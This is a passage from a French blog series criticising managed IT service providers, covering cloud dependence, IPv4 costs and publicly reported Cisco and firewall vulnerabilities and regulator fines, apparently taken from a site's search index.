ou un /56. Il n\u0026rsquo;y a pas de compteur par adresse côté v6. Il n\u0026rsquo;y a rien à compter.\nLes chiffres de l\u0026rsquo;autre côté sont publics aussi. AWS facture 0,005 $ l\u0026rsquo;heure pour chaque adresse IPv4 publique, attachée ou non, ce qui fait environ 43,80 $ par an chacune. Sur le marché du transfert le prix moyen au premier semestre 2026 était de 20,04 $ par adresse, avec le tarif de location courant d\u0026rsquo;environ 0,59 $ par adresse par mois. Donc une adresse vaut à peu près vingt dollars à l\u0026rsquo;achat ferme, et se loue en gros pour environ sept par an — et elle vous est revendue comme une ressource rare. Une ligne mensuelle sur votre facture et un formulaire à remplir quand vous en voulez une autre.\nLa rareté est réelle. La raison pour laquelle vous payez encore pour elle ne l\u0026rsquo;est pas. Doubler la pile d\u0026rsquo;un service est un après-midi de travail, et cela transforme une charge récurrente en une demande de changement ponctuelle, ce qui est précisément pourquoi ce n\u0026rsquo;est jamais proposé.\nSi vous voulez l\u0026rsquo;image complète de qui dans ce pays s\u0026rsquo;est réellement donné la peine, j\u0026rsquo;ai compté le tout : Nous n\u0026rsquo;avons jamais manqué d\u0026rsquo;adresses. Nous avons manqué d\u0026rsquo;effort.\nLe cloud par défaut, quand tout ce que vous avez est sur site Pensez à où le travail se passe réellement. Un site de fabrication. Un garagiste. Une entreprise de traiteur.\nChaque utilisateur est dans le bâtiment. Chaque bit de donnée est fait dans le bâtiment — les machines, les caisses, les fiches de travail, le stock, la CAO, les programmes CNC, les commandes arrivant au comptoir. Tout ce qui consomme ces données est dans le bâtiment aussi. Pas de second site, pas de force sur le terrain, pas de clients tapant une façade web, et pas de mois où la charge double.\nMettez l\u0026rsquo;application dans le datacentre de quelqu\u0026rsquo;un d\u0026rsquo;autre et chacun de ces octets quitte maintenant les lieux et revient tout droit. Mêmes utilisateurs. Mêmes données. Même traitement. Plus un WAN au milieu, une facture mensuelle, et une dépendance à une ligne que vous ne possédez pas.\nRien de ce en quoi le cloud est vraiment bon ne s\u0026rsquo;applique ici. L\u0026rsquo;échelle élastique est pour une charge qui bouge, et un atelier tournant deux équipes ne bouge pas. La portée mondiale est pour des utilisateurs qui sont ailleurs, et les vôtres sont debout à la machine. Le bâtiment de quelqu\u0026rsquo;un d\u0026rsquo;autre est une vraie réponse pour la reprise après sinistre, mais la reprise après sinistre est une cible de sauvegarde, pas l\u0026rsquo;endroit d\u0026rsquo;où vous faites tourner la ligne.\nCe que ça vous achète, c\u0026rsquo;est une nouvelle façon de s\u0026rsquo;arrêter. Sur site une ligne haut débit morte est un désagrément, et le travail continue jusqu\u0026rsquo;à ce que quelqu\u0026rsquo;un la répare. Dans le cloud c\u0026rsquo;est un arrêt — la ligne tombe, le garage ne peut pas afficher une fiche de travail, la cuisine ne peut pas prendre une commande, la production reste plantée là, et vous attendez l\u0026rsquo;ingénieur de quelqu\u0026rsquo;un d\u0026rsquo;autre contre un SLA que vous n\u0026rsquo;avez jamais négocié.\nOù va réellement le travail, une fois l'application sortie du bâtiment Sur site Votre bâtiment Les gens Debout à la machine Les données Faites ici, toutes L'application Ici aussi Rien ne quitte les lieux. Une ligne haut débit morte est un désagrément, et le travail continue jusqu'à ce qu'on la répare. Le cloud par défaut, et la route qu'il prend vraiment Votre bâtiment Les mêmes gens, les mêmes données Le central où votre ligne atterrit Le cœur du FAI et qui qu'il achète son transit Un point de peering ou le réseau de bordure du fournisseur Le datacentre L'application vit ici maintenant Trois bâtiments que vous ne possédez pas, ne pouvez appeler, et n'avez pas choisis et chaque octet fait le trajet retour aussi, pour chaque enregistrement et chaque recherche Une ligne morte est maintenant un arrêt. Le garage ne peut afficher une fiche, la cuisine ne peut prendre une commande, la production reste plantée, et vous attendez l\u0026#8217;ingénieur de quelqu'un d'autre contre un SLA que vous n'avez jamais négocié. Mêmes utilisateurs, mêmes données, même traitement. La différence est quatre réseaux d\u0026rsquo;autres gens au milieu, dont aucun que vous ne pouvez appeler quand il s\u0026rsquo;arrête. Et votre haut débit n\u0026rsquo;en est que la moitié. L\u0026rsquo;autre moitié est le leur, et il tombe aussi. Le propre résumé post-événement d\u0026rsquo;AWS pour octobre 2025 décrit une perturbation dans sa région primaire de Northern Virginia courant de 23 h 48 le 19 octobre à 14 h 20 le 20 octobre — près de quinze heures — où les clients et d\u0026rsquo;autres services AWS « were unable to establish new connections » — étaient incapables d\u0026rsquo;établir de nouvelles connexions. La cause, selon leurs mots, était « a latent defect within the service\u0026rsquo;s automated DNS management system » — un défaut latent dans le système automatisé de gestion DNS du service. Neuf jours plus tard Azure Front Door a entraîné Microsoft 365, Outlook et le portail Azure avec lui pour l\u0026rsquo;essentiel d\u0026rsquo;une journée de travail. Microsoft tient un historique courant de ceux-ci, et ce n\u0026rsquo;est pas un court document.\nLe temps d\u0026rsquo;arrêt n\u0026rsquo;en est pas le tout non plus. L\u0026rsquo;autre chose vendue sur le devant de la proposition était la capacité à la demande, et elle a un mode de défaillance documenté qui lui est propre. Microsoft publie une page intitulée « Troubleshooting Azure VM allocation failures » — résolution des échecs d\u0026rsquo;allocation de VM Azure (documentation). AWS publie « How do I troubleshoot InsufficientInstanceCapacity errors when I start or launch an EC2 instance? » — comment résoudre les erreurs InsufficientInstanceCapacity au démarrage ou lancement d\u0026rsquo;une instance EC2 (documentation). Relisez ces titres. Les deux fournisseurs maintiennent une documentation permanente pour le cas où vous demandez une machine et il n\u0026rsquo;y en a pas — pas de panne, pas d\u0026rsquo;incident, juste rien de libre dans cette région aujourd\u0026rsquo;hui. Par-dessus siègent des quotas, fixés par abonnement, ce qui est une seconde façon de se voir dire non.\nDonc l\u0026rsquo;échelle élastique sur la proposition porte une réserve que la proposition ne porte pas. Élastique dans la limite de ce qui est libre, dans cette région, le jour où vous demandez. Et les fournisseurs continuent d\u0026rsquo;embaucher des clients dans des régions contraintes quand même, parce qu\u0026rsquo;une signature compte ce trimestre et une vérification de capacité non. Vous le découvrez au déploiement, qui est le pire moment disponible — après que la migration est engagée, après que le matériel sur site est parti, et après que le repli a été démantelé pour payer le déménagement.\nLisez ce que tout cela veut dire pour le garage et la cuisine. Sur votre propre matériel, une panne est quelqu\u0026rsquo;un que vous pouvez appeler, ou une machine vers laquelle quelqu\u0026rsquo;un peut marcher et redémarrer. Dans le cloud de quelqu\u0026rsquo;un d\u0026rsquo;autre il n\u0026rsquo;y a aucun levier du tout. Vous ne pouvez pas l\u0026rsquo;escalader, vous ne pouvez pas prioriser votre propre reprise, et le fournisseur que vous payez ne le peut pas non plus. Il rafraîchit la même page d\u0026rsquo;état que tout le monde. Ce que vous avez acheté comme résilience se révèle être une dépendance que vous partagez avec plusieurs millions d\u0026rsquo;autres clients, et le jour où elle échoue votre position est la même que la leur.\nAlors pourquoi est-ce toujours la recommandation ? Parce qu\u0026rsquo;un achat en capital paie votre MSP une fois. Un abonnement les paie chaque mois, à un pourcentage, avec un crédit du fournisseur par-dessus. Vous migrer déplace aussi le matériel hors de leur assiette, ce qui est la partie du service qu\u0026rsquo;ils trouvent la plus dure à doter en personnel. Trois raisons pointant dans le même sens, aucune la vôtre.\nPuis il y a où vos données finissent. Sous le 18 U.S.C. § 2713, ajouté par le CLOUD Act, un fournisseur américain doit produire les données en sa « possession, custody, or control » — possession, garde ou contrôle — quand il est régulièrement assigné, « regardless of whether such communication, record, or other information is located within or outside of the United States » — que cette communication, cet enregistrement ou cette autre information soit situé à l\u0026rsquo;intérieur ou à l\u0026rsquo;extérieur des États-Unis. Donc « c\u0026rsquo;est dans la région Royaume-Uni » est une vraie réponse à une question que vous n\u0026rsquo;avez pas posée. La région vous dit où est le disque. La loi suit qui possède l\u0026rsquo;entreprise.\nPersonne ne vous a présenté ça comme une décision. C\u0026rsquo;est arrivé comme une hypothèse, à l\u0026rsquo;intérieur d\u0026rsquo;une proposition, écrite par quelqu\u0026rsquo;un qui est payé plus quand vous dites oui.\nJ\u0026rsquo;ai écrit longuement sur cette dépendance dans ce que louer votre technologie coûte.\nTout ça s\u0026rsquo;est passé avant que rien ne soit construit Remarquez quand ça a lieu, le tout. Avant qu\u0026rsquo;une machine soit montée en rack, avant que quiconque se soit connecté à quoi que ce soit, dans des réunions et sur des tableurs où vous n\u0026rsquo;étiez pour l\u0026rsquo;essentiel pas. Le rabais, les besoins que personne n\u0026rsquo;a capturés, l\u0026rsquo;option unique, la ligne open source manquante, les adresses que vous allez maintenant louer pour la vie du contrat, le datacentre dont personne dans le bâtiment n\u0026rsquo;avait besoin — rien de tout ça n\u0026rsquo;est technique, et tout est réglé dans la première quinzaine.\nCe qui est pourquoi ça vaut votre attention même si vous n\u0026rsquo;avez jamais ouvert un switch. C\u0026rsquo;est aussi pourquoi c\u0026rsquo;est si dur à défaire ensuite. Tout en aval hérite de cette quinzaine. Le parc est bâti comme la liste a dit qu\u0026rsquo;il le serait. L\u0026rsquo;outillage se présente parce que c\u0026rsquo;est ce que le prestataire possède déjà et sait déjà. Les clés finissent où que son processus les mette. Et le contrat signé à la fin décide, des années à l\u0026rsquo;avance, qui porte la perte le matin où quelque chose s\u0026rsquo;arrête.\nDonc la partie deux parle de ce qui a réellement été construit : la boîte dont on ne les dissuadera pas, le matériel de périmètre au pire dossier de la liste exploitée, les bases qui étaient la chose que vous avez achetée, et l\u0026rsquo;outillage qui atteint chaque machine que vous possédez depuis une console que vous n\u0026rsquo;avez jamais vue. Deux des défaillances dedans ont une conclusion de régulateur attachée. Aucune n\u0026rsquo;est arrivée à un client. Elles sont arrivées à un prestataire, et les clients étaient en aval.\nIs Your MSP Lying To You — 3 parts\nVotre MSP vous ment-il pour vous vendre des produits premium ?you are here Ce que votre MSP vous a construit, et qui d\u0026#39;autre peut l\u0026#39;atteindre Quand ça casse, qui le porte vraiment ? Sources Consultées le 28 août 2026.\nComment marche l\u0026rsquo;argent.\nDocumentation de facturation du Microsoft Partner Center — partner earned credit appliqué contre les charges de la consommation Azure du client. FCA Handbook, COBS 6.1A — facturation du conseil : la règle qu\u0026rsquo;une entreprise ne peut être payée pour une recommandation que par le client, et ne doit pas accepter de commission du fournisseur du produit. Enquête de marché de la CMA sur les services cloud — le travail du régulateur de la concurrence britannique sur le marché du cloud. Adresses.\nBarème de RIPE NCC 2026 — 1 800 € par compte LIR, forfait. RIPE-690 — /48 ou /56 à un site terminal, octobre 2017. Charge IPv4 publique AWS — 0,005 $ par adresse par heure, à partir de février 2024. Marché du transfert IPv4, premier semestre 2026 — moyenne de 20,04 $ par adresse, tarif de location d\u0026rsquo;environ 0,59 $ par adresse par mois, résumant l\u0026rsquo;analyse de CircleID des transactions à prix public. Le VPN.\nGuide de dépannage AnyConnect de Cisco Meraki — TLS et DTLS sur 443, sans problème de NAT à résoudre. RFC 3947 et RFC 3948 — traversée du NAT pour IPsec, et le passage à UDP 4500. Du support que vous pouvez réellement acheter.\nAbonnements Proxmox VE — un exemple de support commercial pour de l\u0026rsquo;infrastructure open source. Formation et compétences.\nLearning and Work Institute, 24 décembre 2025 — investissement des employeurs dans la formation en baisse de 36 % par salarié en termes réels depuis 2005, et de 30 % dans l\u0026rsquo;information et les communications entre 2022 et 2024, sur la 2024 Employer Skills Survey. National Vulnerability Database — nombre de CVE publiées par an, sommé par trimestre : 6 595 en 2015 contre 49 972 en 2025. Cyber Security Breaches Survey 2025/2026 — authentification à deux facteurs à 47 % des entreprises, politiques formelles en baisse à 52 %, plans de continuité couvrant le cyber en baisse à 44 %. Alerte CISA, 30 mars 2023 — l\u0026rsquo;application de bureau 3CX trojanisée. Droit et politique.\nDécret, 10 février 2025 — suspension de l\u0026rsquo;application du Foreign Corrupt Practices Act, dans les propres mots de l\u0026rsquo;administration. Just Security, sur l\u0026rsquo;année qui a suivi — les lignes directrices de juin 2025, l\u0026rsquo;unité FCPA dissoute de la SEC, et les enquêtes fermées. Bribery Act 2010 et article 7 — la loi britannique, et l\u0026rsquo;infraction d\u0026rsquo;entreprise de non-prévention. Airbus, 31 janvier 2020 — le propre compte rendu de l\u0026rsquo;entreprise du règlement tripartite et de la répartition des pénalités entre le PNF, le SFO, le DoJ et le DoS. Juridiction.\n18 U.S.C. § 2713 — la disposition du CLOUD Act : divulgation quel que soit l\u0026rsquo;endroit où les données sont stockées. Quand la plateforme s\u0026rsquo;arrête.\nRésumé post-événement AWS, octobre 2025 — la perturbation DynamoDB et DNS dans us-east-1, dans les propres mots d\u0026rsquo;Amazon. Historique d\u0026rsquo;état Azure — le propre relevé courant de Microsoft de ses incidents. ","permalink":"https://blogs.damiendye.uk/fr/random/is-your-msp-lying-to-you-part1/","summary":"Partie 1 sur 3. Certains mentent. La plupart n\u0026rsquo;en ont jamais besoin, parce qu\u0026rsquo;ils sont payés par le fournisseur dont ils recommandent le produit et personne n\u0026rsquo;est tenu de vous le dire. Les indices qui disent qu\u0026rsquo;on vous vend au lieu de concevoir pour vous, et ce qui n\u0026rsquo;atteint jamais la liste.","title":"Votre MSP vous ment-il pour vous vendre des produits premium ?"},{"content":" Is Your MSP Lying To You — 3 parts\nVotre MSP vous ment-il pour vous vendre des produits premium ? Ce que votre MSP vous a construit, et qui d\u0026#39;autre peut l\u0026#39;atteindreyou are here Quand ça casse, qui le porte vraiment ? La partie un était la vente. Ceci est le parc.\nLa paperasse est signée, la facture tombe chaque mois, et il y a du matériel. Une partie à vous, une partie à eux, l\u0026rsquo;essentiel choisi avant que quiconque ait demandé ce que l\u0026rsquo;entreprise fait réellement entre huit et dix-huit heures. Ce qui suit est le matériel lui-même : ce qui est choisi, ce qui a été laissé allumé dedans, et qui d\u0026rsquo;autre peut atteindre les machines que vous avez payées depuis une console à laquelle vous ne vous êtes jamais connecté.\nDeux des défaillances ici portent une conclusion de régulateur avec un chiffre attaché. Aucune n\u0026rsquo;est arrivée à un client — elles sont arrivées à un prestataire, et les clients étaient en aval. Chaque affirmation porte un lien.\nLa boîte dont on ne les dissuadera pas Maintenant la partie gênante. Je veux la faire avec des preuves plutôt qu\u0026rsquo;avec des assertions, parce que c\u0026rsquo;est la section où les gens saisissent le mot complot — et saisir ce mot est la façon dont le sujet est abandonné sans que personne ait à le regarder.\nCisco est la recommandation par défaut dans l\u0026rsquo;essentiel de cette industrie. Alors regardez ce que le fournisseur lui-même a publié sur l\u0026rsquo;accès non documenté dans son propre matériel.\nEn mars 2018 ils ont publié un avis pour CVE-2018-0141 : on pouvait se connecter à Prime Collaboration Provisioning par SSH à cause d\u0026rsquo;« a hard-coded account password on the system » — un mot de passe de compte codé en dur sur le système. Huit mois plus tard, CVE-2018-15439 sur les switches Small Business, où « the affected software enables a privileged user account without notifying administrators of the system » — le logiciel affecté active un compte utilisateur privilégié sans en notifier les administrateurs du système —, sans logiciel corrigé disponible à la publication et un contournement offert à la place. En octobre 2023, CVE-2023-20101 : Emergency Responder était livré avec un compte root portant des « default, static credentials that cannot be changed or deleted » — identifiants statiques par défaut qui ne peuvent être changés ni supprimés —, des identifiants « typically reserved for use during development » — habituellement réservés à l\u0026rsquo;usage pendant le développement.\nUn compte dont personne n\u0026rsquo;a été averti, que vous ne pouvez pas retirer, avec root sur une boîte de votre parc. Appelez-le comme vous voulez. C\u0026rsquo;est ce que décrit le propre avis du fournisseur.\nPuis il y a le matériel Snowden, qui a maintenant plus d\u0026rsquo;une décennie et n\u0026rsquo;a jamais été retiré. En décembre 2013 Der Spiegel a publié le catalogue ANT, rapportant qu\u0026rsquo;une division de la NSA « has burrowed its way into nearly all the security architecture made by the major players in the industry \u0026ndash; including American global market leader Cisco and its Chinese competitor Huawei » — s\u0026rsquo;est creusé un chemin dans presque toute l\u0026rsquo;architecture de sécurité faite par les grands acteurs de l\u0026rsquo;industrie, y compris le leader mondial américain Cisco et son concurrent chinois Huawei. Le même reportage décrivait comment le matériel y arrive : des expéditions détournées vers des ateliers secrets dans un processus que la NSA appelle interdiction, où « at these so-called \u0026rsquo;load stations,\u0026rsquo; agents carefully open the package in order to load malware onto the electronics, or even install hardware components that can provide backdoor access » — à ces « stations de chargement », des agents ouvrent soigneusement le colis pour charger un logiciel malveillant sur l\u0026rsquo;électronique, ou même installer des composants matériels fournissant un accès dérobé. Un bulletin interne de la NSA de 2010, publié en 2014 avec les photographies, posait le processus dans les propres mots de l\u0026rsquo;agence : des appareils « being delivered to our targets throughout the world are intercepted » — livrés à nos cibles à travers le monde sont interceptés —, puis « re-packaged and placed back into transit to the original destination » — remballés et remis en transit vers la destination d\u0026rsquo;origine.\nCe que le reportage ne montre pas, c\u0026rsquo;est la complicité. Der Spiegel a dit clairement que rien dans les documents ne suggérait que les fabricants savaient ou aidaient, et Cisco a nié toute implication à l\u0026rsquo;époque, et en mai 2014 son directeur juridique l\u0026rsquo;a mis au dossier : « as a matter of policy and practice, Cisco does not work with any government, including the United States Government, to weaken our products » — par politique et par pratique, Cisco ne travaille avec aucun gouvernement, y compris celui des États-Unis, pour affaiblir ses produits. Ils s\u0026rsquo;en sont plaints au président. À première vue, ils étaient une victime ici aussi.\nPrenez ça pour argent comptant. Ça ne change rien à la boîte sur votre baie, parce que l\u0026rsquo;interdiction n\u0026rsquo;a jamais eu besoin de l\u0026rsquo;aide du fournisseur. Et il vaut de savoir quel poids porte le démenti, parce que la parole de Cisco a été mise à l\u0026rsquo;épreuve au tribunal. En 2019 ils ont réglé une procédure au titre du False Claims Act pour 8,6 millions de dollars au fédéral, plus 6 millions de dollars auprès d\u0026rsquo;un groupe d\u0026rsquo;États, au sujet d\u0026rsquo;un logiciel de vidéosurveillance vendu à des organismes publics avec des « flaws that would permit unauthorized access to the system, with the potential to control and otherwise manipulate security cameras and the recorded footage » — défauts permettant un accès non autorisé au système, avec le potentiel de contrôler et autrement manipuler les caméras de sécurité et les images enregistrées. Le compte rendu de l\u0026rsquo;Attorney General de New York est que Cisco a su pour les défauts en 2009 et ne les a pas corrigés avant 2013, après le début de l\u0026rsquo;enquête. Les règlements ne sont pas des aveux de responsabilité et je ne prétendrai pas le contraire. Ce sont quand même quatre ans de vente d\u0026rsquo;un produit à des forces de police et des organismes publics avec une voie d\u0026rsquo;entrée connue, sans le dire.\nDonc le dossier est : des comptes root non documentés de leur propre aveu, un catalogue vieux d\u0026rsquo;une décennie les nommant, une chaîne d\u0026rsquo;expédition démontrée compromettable, et une période où ils savaient pour un trou et ont continué à vendre. Chacun isolément vous pourriez le balayer. Ensemble ils sont un schéma. Une déclaration d\u0026rsquo;une partie intéressée ne règle pas un schéma.\nLa réponse à ça, ce sont des contrôles, pas une interdiction. Le risque a sa place dans le document de conception avec tout le reste, et les alternatives sont chiffrées plutôt qu\u0026rsquo;écartées. Demandez quel matériel concurrent a été évalué et ce qu\u0026rsquo;il coûtait. Demandez quelle est la politique de vérification et de mise à jour du firmware, et qui la vérifie. Demandez comment le matériel est reçu et inspecté, et par qui. Demandez ce qui se passe sur un numéro de série qui ne correspond pas au bon de commande.\nEt remarquez quels fournisseurs reçoivent cet examen dans votre secteur et lesquels non. La même industrie qui a mis Huawei sur un registre de risques au sujet d\u0026rsquo;une capacité que personne n\u0026rsquo;a produite en public écrira Cisco dans la conception de bas niveau sans une ligne de justification, sur la force d\u0026rsquo;un logo partenaire. J\u0026rsquo;ai écrit sur ce qui arrive à cet argument quand on applique la norme uniformément. Un logo partenaire est une relation commerciale avec des objectifs attachés. À ce titre, ce n\u0026rsquo;est pas une conclusion de sécurité.\nLe pare-feu est la voie d\u0026rsquo;entrée Élargissez ça d\u0026rsquo;un fournisseur à la catégorie, parce que le pare-feu est le produit qu\u0026rsquo;un MSP vend le plus fort. C\u0026rsquo;est la ligne qui justifie la partie sécurité du contrat.\nLa CISA tient un catalogue de vulnérabilités connues pour être exploitées dans la nature — pas théoriquement dangereuses, réellement utilisées contre quelqu\u0026rsquo;un. J\u0026rsquo;ai tiré le catalogue et l\u0026rsquo;ai compté par fournisseur. La version 2026.08.27 tient 1 685 entrées. Cisco en représente 96, second seulement aux 386 de Microsoft, et 42 d\u0026rsquo;entre elles siègent sur les lignes pare-feu et bordure. Fortinet en a 29. Palo Alto Networks en a 15. Pour l\u0026rsquo;échelle, Ivanti en a 35 et SonicWall 17.\nRegardez ce que les entrées sont réellement, parce que le schéma ne varie jamais. C\u0026rsquo;est l\u0026rsquo;interface de gestion ou le VPN, c\u0026rsquo;est-à-dire la partie délibérément exposée à internet.\nLa seule partie de cette chronologie que vous pouvez fermer Une vulnérabilité, de publiée à corrigée sur votre boîte Publiée un numéro de CVE existe Correctif disponible la part du fournisseur est faite Exploitation confirmée ajoutée au catalogue CISA Votre boîte corrigée par qui vous payez Votre exposition Connue pour servir contre quelqu'un, encore posée sur votre périmètre Cisco 96 entrées, Fortinet 29, Palo Alto 15. Ce sont les chiffres des fournisseurs et ils sont publics. La longueur de cette plage grisée est la vôtre, et personne ne la demande. Chaque prestataire a le chiffre. C'est la même mesure que l'ICO a prise chez Capita. Le total du fournisseur est public et n\u0026rsquo;est pas le chiffre qui décide si vous êtes touché. La plage grisée l\u0026rsquo;est, et elle appartient à celui que vous payez. Le CVE-2024-3400 de Palo Alto était une injection de commande dans la fonction GlobalProtect de PAN-OS, notée 10,0, exploitée en zero-day. Plus tard la même année CVE-2024-0012 laissait « an unauthenticated attacker with network access to the management web interface » — un attaquant non authentifié avec accès réseau à l\u0026rsquo;interface web de gestion — passer tout droit l\u0026rsquo;authentification à 9,8, et c\u0026rsquo;était chaîné avec une injection de commande dans la même interface.\nLe CVE-2022-40684 de Fortinet était un « authentication bypass using an alternate path or channel » — contournement d\u0026rsquo;authentification par un chemin ou canal alternatif — à 9,8. Son CVE-2018-13379, une traversée de chemin dans le VPN SSL, est entré au catalogue en novembre 2021. Des années après l\u0026rsquo;existence du correctif, parce que des boîtes étaient encore posées sur internet non corrigées et parcourues à pied.\nLe CVE-2023-20198 de Cisco dans l\u0026rsquo;interface web IOS XE a été noté 10,0. CVE-2025-20333, dans le serveur web VPN de son logiciel Secure Firewall ASA et FTD, a été noté 9,9 en septembre dernier.\nEt puis il y a CVE-2026-20316, ajouté au catalogue le 29 juillet 2026. Cisco Secure Firewall Management Center, « use of hard-coded password » — usage d\u0026rsquo;un mot de passe codé en dur —, laissant « an unauthenticated, remote attacker to log in to an affected device » — un attaquant distant non authentifié se connecter à un appareil affecté. Un identifiant statique, dans la boîte qui gère les pare-feux, confirmé comme exploité, un mois avant ce billet. La même défaillance qu\u0026rsquo;en 2018 et 2023 dans la section ci-dessus, sur la machine qui administre votre périmètre.\nMaintenant la partie utile, parce que « certains fournisseurs sont pires que d\u0026rsquo;autres » n\u0026rsquo;est pas vraiment la leçon. Chacun de ceux-ci a un dossier public et rien de tout ça n\u0026rsquo;apparaît dans une proposition. Plus au point, le total du fournisseur n\u0026rsquo;est pas le chiffre qui décide si vous êtes touché. Votre exposition est l\u0026rsquo;écart entre une vulnérabilité entrant dans ce catalogue et votre boîte étant corrigée. Cet écart n\u0026rsquo;est pas au fournisseur de le combler. Il appartient à celui que vous payez pour faire tourner la chose.\nCe qui est la même mesure que l\u0026rsquo;ICO a prise chez Capita. Alerte à dix minutes, action à cinquante-huit heures, objectif d\u0026rsquo;une. Personne ne demande à son prestataire ce chiffre sur la correction des pare-feux, et c\u0026rsquo;est un chiffre que chaque prestataire a.\nQuand les bases sont la chose que vous avez achetée La partie un parlait de la vente. Ceci est ce qui est venu après, dans deux cas où un régulateur a fait l\u0026rsquo;enquête et publié ce qu\u0026rsquo;il a trouvé.\nEn mars 2025 l\u0026rsquo;Information Commissioner a infligé une amende de 3,07 millions de livres à Advanced Computer Software Group au sujet d\u0026rsquo;un incident de rançongiciel en août 2022. Advanced « provides IT and software services to organisations, including the NHS and other healthcare providers » — fournit des services informatiques et logiciels à des organisations, dont le NHS et d\u0026rsquo;autres prestataires de santé. Les attaquants sont entrés « via a customer account that did not have multi-factor authentication » — via un compte client qui n\u0026rsquo;avait pas d\u0026rsquo;authentification à plusieurs facteurs. Le NHS 111 a été perturbé, le personnel de santé ne pouvait pas atteindre les dossiers patients, et les informations personnelles de 79 404 personnes ont été prises. La conclusion de l\u0026rsquo;ICO sur la cause vaut d\u0026rsquo;être lue lentement : « while Advanced had installed multi-factor authentication across many of its systems, the lack of complete coverage meant hackers could gain access » — bien qu\u0026rsquo;Advanced ait installé l\u0026rsquo;authentification à plusieurs facteurs sur beaucoup de ses systèmes, l\u0026rsquo;absence de couverture complète a permis aux pirates d\u0026rsquo;obtenir l\u0026rsquo;accès. C\u0026rsquo;était aussi la première pénalité que l\u0026rsquo;ICO a émise contre un sous-traitant de données plutôt que l\u0026rsquo;organisation dont c\u0026rsquo;étaient les données.\nEn octobre 2025 le même régulateur a infligé une amende de 14 millions de livres à Capita au sujet de l\u0026rsquo;attaque de 2023 qui a pris les informations personnelles de 6,6 millions de personnes. Un fichier malveillant a atterri sur l\u0026rsquo;appareil d\u0026rsquo;un employé le 22 mars 2023. Une alerte de haute priorité s\u0026rsquo;est déclenchée en dix minutes. L\u0026rsquo;appareil n\u0026rsquo;a pas été mis en quarantaine pendant 58 heures, contre un temps de réponse cible d\u0026rsquo;une heure, et l\u0026rsquo;ICO a trouvé que le Security Operations Centre « was understaffed, and in at least six months before the incident fell well below the target response times for responding to security alerts » — était en sous-effectif, et dans au moins six mois avant l\u0026rsquo;incident était tombé bien en dessous des temps de réponse cibles pour répondre aux alertes de sécurité —, à côté de tests d\u0026rsquo;intrusion et d\u0026rsquo;évaluation des risques inadéquats.\nLisez ce que ces deux conclusions ont en commun. Pas un adversaire habile. Pas un zero-day. Rien que personne n\u0026rsquo;aurait pu voir. Une authentification à plusieurs facteurs qui a été achetée mais pas finie, et une file d\u0026rsquo;alertes que personne n\u0026rsquo;avait dotée. Les deux sont des lignes que quelqu\u0026rsquo;un a validées et rapportées au vert.\nEt rien de tout ça n\u0026rsquo;a pris l\u0026rsquo;industrie par surprise. Le 11 mai 2022, trois mois avant l\u0026rsquo;incident d\u0026rsquo;Advanced, les agences de cybersécurité du Royaume-Uni, d\u0026rsquo;Australie, du Canada, de Nouvelle-Zélande et des États-Unis ont sorti un avis conjoint sur les menaces pesant sur les prestataires de services gérés et leurs clients, parce qu\u0026rsquo;elles étaient « aware of recent reports that observe an increase in malicious cyber activity targeting managed service providers » — au courant de rapports récents observant une hausse de l\u0026rsquo;activité cybermalveillante visant les prestataires de services gérés. La première action tactique de la liste est d\u0026rsquo;imposer l\u0026rsquo;authentification à plusieurs facteurs sur les comptes MSP qui entrent dans l\u0026rsquo;environnement du client.\nLes agences de sécurité de cinq pays l\u0026rsquo;ont couché sur le papier, en public, et ont nommé le contrôle. Trois ans plus tard un régulateur inflige encore des amendes pour ne pas l\u0026rsquo;avoir fini.\nAucune de celles-là n\u0026rsquo;est une histoire de petite entreprise. En voici une. Le vendredi 24 novembre 2023 le prestataire informatique du secteur juridique CTS est tombé dans un incident cyber. Le propre journal de la Law Society a rapporté qu\u0026rsquo;environ 80 cabinets étaient incapables de conclure des transactions, avec des systèmes hors ligne et des contrats bloqués. Ce sont des études de transactions immobilières, la plupart de petits cabinets, et leurs clients étaient des gens en plein déménagement. L\u0026rsquo;un d\u0026rsquo;eux l\u0026rsquo;a dit platement : « This leaves us with so much uncertainty — with movers needing to be booked, days needing to be taken off work at potentially short notice and lives put on hold » — cela nous laisse tant d\u0026rsquo;incertitude, avec des déménageurs à réserver, des jours de congé à poser potentiellement au dernier moment et des vies mises en suspens. CTS ne pouvait dire que ceci : il était « unable to give a precise timeline for full restoration » — incapable de donner un calendrier précis pour la restauration complète.\nPersonne dans cette chaîne n\u0026rsquo;a choisi CTS. Le cabinet l\u0026rsquo;a choisi, et chaque client en aval du cabinet a hérité de la décision sans jamais avoir été demandé.\nC\u0026rsquo;est ce que vous achetez quand vous achetez un service géré.\nEt comment l\u0026rsquo;auriez-vous appris ? Remarquez quelque chose sur chaque incident de la section ci-dessus. Aucun n\u0026rsquo;est arrivé au client. Ils sont arrivés au prestataire, et les clients étaient posés en aval de la mauvaise semaine de quelqu\u0026rsquo;un d\u0026rsquo;autre.\nAlors posez la question directement. Si nous sommes piratés, l\u0026rsquo;apprend-on de vous ? Et à quelle vitesse ?\nIl y a un plancher légal, et il est plus bas que les gens ne le supposent. Là où ils traitent des données personnelles pour votre compte, l\u0026rsquo;article 33 dit que « the processor shall notify the controller without undue delay after becoming aware of a personal data breach » — le sous-traitant notifie le responsable de traitement sans retard indu après avoir eu connaissance d\u0026rsquo;une violation de données personnelles. Aucun nombre d\u0026rsquo;heures fixe. Pendant ce temps vous, comme responsable de traitement, avez 72 heures pour prévenir l\u0026rsquo;Information Commissioner une fois que vous en avez connaissance. Lisez ces deux-là ensemble. Chaque heure qu\u0026rsquo;ils passent à décider s\u0026rsquo;il faut vous le dire est une heure de moins sur un compteur qui court contre vous, pas contre eux.\nEt ce plancher ne couvre que les données personnelles. Une intrusion dans leur console de gestion, sans preuve encore que quoi que ce soit de vôtre ait bougé, peut ne générer aucun devoir de vous le dire du tout — tandis que les identifiants qui atteignent chaque machine que vous possédez siègent dans les mains de quelqu\u0026rsquo;un d\u0026rsquo;autre. C\u0026rsquo;est l\u0026rsquo;écart. Il n\u0026rsquo;est pas petit.\nPensez à qui est prévenu avant vous. Leurs avocats, à cause du privilège. Leur assureur, parce que la police le dit. Leur régulateur, sur le compteur légal. Vous êtes plus bas sur cette liste que vous ne voudriez l\u0026rsquo;être, et l\u0026rsquo;incitation à chaque étape est d\u0026rsquo;en dire moins jusqu\u0026rsquo;à ce qu\u0026rsquo;on en sache plus.\nCe qui laisse les alternatives, et elles sont toutes pires. Vous l\u0026rsquo;apprenez parce que vos systèmes s\u0026rsquo;arrêtent, ce qui est comme les études de transactions l\u0026rsquo;ont appris. Vous l\u0026rsquo;apprenez parce qu\u0026rsquo;un journaliste appelle. Ou vous l\u0026rsquo;apprenez parce que 